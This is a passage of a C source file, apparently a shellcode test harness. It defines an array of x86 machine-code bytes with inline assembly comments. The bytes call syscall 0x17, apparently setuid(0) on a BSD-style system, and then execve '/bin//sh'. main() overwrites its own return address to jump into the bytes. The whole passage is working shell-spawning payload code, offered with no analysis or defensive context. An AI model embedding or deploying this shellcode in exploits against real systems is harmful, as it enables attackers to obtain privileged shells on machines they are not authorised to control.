 */

char trakcode[]= "\x31\xc0"		/* xor	%eax */
		  	     "\x50"			/* push	%eax */
		  	     "\x50"			/* push	%eax */
		  	     "\xb0\x17"		/* mov	$0x17,%al */
		  	     "\xcd\x80"		/* int	$0x80 */
		  	     "\x50"			/* push	%eax */
		  	     "\x68\x2f\x2f\x73\x68"	/* push	$0x68732f2f */
		  	     "\x68\x2f\x62\x69\x6e"	/* push	$0x6e69622f */
		  	     "\x89\xe3"		/* mov	%esp,%ebx */
		  	     "\x50"			/* push	%eax */
		  	     "\x50"			/* push	%eax */
		  	     "\x53"			/* push	%ebx */
		  	     "\x50"			/* push	%eax */
		  	     "\xb0\x3b"		/* mov $0x3b, %al */
		  	     "\xcd\x80";		/* int	$0x80 */




main() {

 long *ret;

   ret = (long *)&ret + 2;
   (*ret) = (long)trakcode;

}


